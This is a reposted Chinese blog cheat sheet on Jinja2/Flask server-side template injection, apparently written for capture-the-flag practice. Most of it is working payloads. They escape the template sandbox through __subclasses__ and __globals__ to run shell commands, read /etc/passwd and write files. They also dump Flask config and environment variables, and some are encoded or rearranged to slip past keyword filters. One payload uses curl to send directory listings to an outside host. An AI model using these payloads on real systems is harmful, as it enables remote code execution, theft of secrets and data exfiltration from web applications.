Jinja2模板注入模板引擎种类
__class__ : 返回对象所属的类
__mro__ : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ : 返回该类所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__(): 获取类的所有子类
__init__ : 所有自带的类都包含init方法,常用它当跳板来调用globals
__globals__ : 返回当前位置的全部模块,方法和全局变量,用于配合init使用
Jinja2模板注入环节(Flask):
Jinja {{7*'7'}}#输出7777777
1. 使用str,list,tuple,dict中的一种去获取内置类
"".__class__
2. 获取object基类(两种办法)
一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]
3. 获取子类列表:
"".__class__.__base__.__subclasses__()"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()
4. 寻找getshell类:subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法
5. 找到可以getshell的类了,那么接下来就是初始化这个类,开始getshell
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)
0、<class'_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}1、<type'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt','w').write('hello123')}}2、<class'site._Printer'> 直接用os的popen执行命令(绕过globals){{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}3、<class'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}4、<class'warnings.catch_warnings'> 执行命令
调用eval{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}# 读写文件 read(),write(){{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}
调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}
通用办法,使用for循环查找shell类 (去掉换行)
?name={%for c in[].__class__.__base__.__subclasses__()%}{%if c.__name__ =='catch_warnings'%}{%for b in c.__init__.__globals__.values()%}{%if b.__class__ =={}.__class__ %}{%if'eval'in b.keys()%}{{ b['eval']('__import__("os").popen("env").read()')}}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
常见payload
1. 获取配置
{{config}}{{handler.settings}}{{self.__dict__._TemplateReference__context.config}}{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ}}{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}
2. 命令执行or文件读取
python2
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')"".__class__.__mro__[-1].__subclasses__()[40](filename).read()"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
python3
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
常见绕过:
过滤关键字如“class”、“config”、“eval”、"os"等
1.没过滤引号,使用其他进制,可以使用[]加一下字符反转其他进制绕过
1.1 其他进制
''.__class__ => ''["\137\137\143\154\141\163\163\137\137"](8进制)
''.__class__ => ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"](16进制)
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[80]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x6c\x73\x27\x29")['\x72\x65\x61\x64']()}}
1.2 字符反转
''.__class__ => ''["__ssalc__"[::-1]]
1.3 字符串拼接
''.__class__ => ''["__cla""ss__"]
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}
1.4 base64 rot13 hex
''.__class__ => ''['X19jbGFzc19f'.decode('base64')]
1.5 lower
''.__class__ => ''["__CLASS__"|lower]
1.6 join
''.__class__ => ''[["__clas","s__"]|join] or ''[("__clas","s__")|join]
1.7 format
''.__class__ => ''["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
1.8 replace reverse
''.__class__ => ''|attr("__ssalc__"|reverse)
2.过滤了引号,通过request将所需的变量从请求中其他参数获得
2.1 主要利用一下几种
request.args.x1 get传参
request.values.x1 post传参
request.cookies
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或 multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
2.2 利用request和attr构造payload
//get
{{request|attr((request.args.application)|join)|attr((request.args.usc*2,request.args.globals,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.builtins,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.import,request.args.usc*2)|join)((request.args.os)|join)|attr((request.args.popen)|join)((request.args.id)|join)|attr((request.args.read)|join)()}}&usc=_&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read
//post
{{request|attr((request.values.application)|join)|attr((request.values.usc*2,request.values.globals,request.values.usc*2)|join)|attr((request.values.usc*2,request.values.getitem,request.values.usc*2)|join)((request.values.usc*2,request.values.builtins,request.values.usc*2)|join)|attr((request.values.usc*2,request.values.getitem,request.values.usc*2)|join)((request.values.usc*2,request.values.import,request.values.usc*2)|join)((request.values.os)|join)|attr((request.values.popen)|join)((request.values.id)|join)|attr((request.values.read)|join)()}}
post:
usc=_&application=application&globals=globals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read
//其他的也类似
过滤[]
1. getitem
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.func_globals.values().__getitem__(13).__getitem__('eval')('__import__("os").popen("cat /flag").read()')}}
2. pop
{{().__class__.__bases__.pop(0).__subclasses__().pop(59).__init__.func_globals.values().pop(13).pop('eval')('__import__("os").popen("cat /flag").read()')}}
3. get
4. setdefault
过滤点 .
1. []
''.__class__ =>''["__class__"]
2. attr
''.__class__ =>''|attr('__class__')orgetattr('',"__class__")
过滤_
利用request.args属性
{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args改为request.values则利用post的方式进行传参
过滤{{}}
•使用{%%}外带数据或盲注
//外带
{%if''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;')%}1{% endif %}//盲注
{%if''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p'%}1{% endif %}//打印
{%print config%}
本文转载自: https://blog.csdn.net/qoolloop/article/details/127521576
版权归原作者 搬砖没有未来 所有, 如有侵权,请联系我们删除。
版权归原作者 搬砖没有未来 所有, 如有侵权,请联系我们删除。